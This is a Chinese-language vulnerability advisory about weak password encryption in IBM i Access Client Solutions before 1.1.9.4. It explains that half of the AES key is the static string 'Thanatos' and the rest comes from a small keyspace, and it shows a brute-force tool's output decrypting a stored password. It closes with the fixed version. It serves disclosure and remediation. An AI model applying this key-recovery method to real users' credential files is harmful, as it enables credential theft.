IBM i Access Client Solutions < 1.1.9.4 - 弱密码加密
IBM i Access Client Solutions 在存储用户密码时使用 AES 算法,但 16 字节加密密钥是由静态字符串(Thanatos)与来自另一个静态字符串(Behemoth)加上用户名、用户主文件夹、操作系统(例如 Linux)以及启动应用程序时的当前目录组合而成的字符串中的随机字符拼接而成。因此,加密密钥的一半是静态的(字符串 Thanatos),而另一半则非常有限。这使得攻击者即使在单个 CPU 核心上也能轻松暴力破解密码。
以下是使用 mkubiak 账户下的 as400_password_bruteforce_tool.java 脚本解密 mmajchrowicz 用户密码的示例:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt
IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team
Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47
Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19
Found good pass: Thanatosaun/Lcmo
Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74
Decrypted system password: Pentest
此问题是由于使用了弱密码加密造成的。该问题已在 IBM i Access Client Solutions 1.1.9.4 中修复。
< 1.1.9.4
将 IBM i Access Client Solutions 更新到 1.1.9.4 或更高版本。